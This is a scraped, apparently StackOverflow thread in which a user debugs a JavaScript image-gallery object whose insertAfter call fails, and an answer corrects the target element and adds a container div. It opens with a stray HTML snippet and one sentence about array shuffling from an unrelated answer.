<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<meta http-equiv='content-type' content='text/html;charset=utf-8' />
<title>Shuffle Magic</title>
<link type='text/css' rel='stylesheet' href='external.css' />
<script type='text/javascript' src='test.js'></script>
</head>
<body>
<div class='main'>
<label for='limit'>Limit:</label><input id='limit' name='limit' type='text' value='4' /><input id='testButton' type='button' value='Click Me' />
<div id='out'></div>
</div>
</body>
</html>
With this version, which is recursive (probably beyond your understanding right now), the array elements only recycle once they've been completely or nearly completely gone through. Enjoy!
In the following code, my attempts at creating the preparePlaceholder on the the fly
has failed, and the only error is "parent is not defined" from the error console.
I'm modifying this example for use with a JS object literal and could use the
sage wisdom of StackOverflow.
TIA
imageGallery={
// IDs
placeHolderID:'placeholder',
imageNavListID:'imagegallerylist',
// CSS Classes
init:function(){
if(!document.getElementById || !document.createTextNode){return;}
imageGallery.preparePlaceholder();// Call to preparePlacholder
// Prepare Gallery:
imageGallery.navList = document.getElementById(imageGallery.imageNavListID);
if(!imageGallery.navList){return;}
var links = imageGallery.navList.getElementsByTagName('a');
for(var i = 0; i<links.length;i++){
links[i].onclick = function(){
// Call to showPic function:
return imageGallery.showPic(this) ? false : true;
}
}
},
showPic:function(whichpic){
imageGallery.pHolder=document.getElementById(imageGallery.placeHolderID);
if(!imageGallery.pHolder || imageGallery.pHolder.nodeName != "IMG"){return;}
var source = whichpic.getAttribute("href");
imageGallery.pHolder.setAttribute("src",source);
if(document.getElementById("description")){
// var text = whichpic.getAttribute("title");
var text = whichpic.getAttribute("title") ? whichpic.getAttribute("title") : "";
var description = document.getElementById("description");
if(description.firstChild.nodeType == 3){
description.firstChild.nodeValue = text;
}
}
return true;
},
preparePlaceholder:function(){
var placeholder = document.createElement("img");
placeholder.setAttribute("id", "placeholder");
placeholder.setAttribute("src","images/placeholder.gif");
placeholder.setAttribute("alt","My Image Gallery");
// alert(placeholder);
var description = document.createElement("p");
description.setAttribute("id","description");
var desctext = document.createTextNode("Choose an Image");
description.appendChild(desctext);
var gallery = document.getElementById("imageGallery");
imageGallery.insertAfter(placeholder,imageGallery);
imageGallery.insertAfter(description,imageGallery.placeholder);
// alert("Function Called");
},
// Utility Functions
insertAfter:function(newElement,targetElement){
var parent = targetElement.parentNode;
if(parent.lastChild == targetElement){
parent.appendChild(newElement);
} else {
parent.insertBefore(newElement,targetElement.nextSibling);
}
},
addLoadEvent:function(func){
var oldonload = window.onload;
if(typeof window.onload != 'function'){
window.onload = func;
}else{
window.onload = function(){
oldonload();
func();
}
}
}
}
// End Utility Functions
imageGallery.addLoadEvent(imageGallery.init);
// window.onload=imageGallery.init;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="uft-8" />
<title>Image Gallery</title>
<link rel="stylesheet" href="styles/layout.css" type="text/css" media="screen" title="layout" charset="utf-8" />
</head>
<body>
<h1>Snapshots</h1>
<ul id="imagegallerylist">
<!--Links Here-->
</ul>
<script src="scripts/imageGallery.js"></script>
</body>
</html>
Have an example here which doesn't produce errors. I have removed your comments and put in comments where I have changed the code.
JavaScript:
var gallery = document.getElementById("imageGallery");
// Changed from imageGallery to gallery
imageGallery.insertAfter(placeholder, gallery);
// Changed from imageGallery.placeholder to placeholder
imageGallery.insertAfter(description, placeholder);
HTML:
<div id="imageGallery"></div> <!-- Added this div -->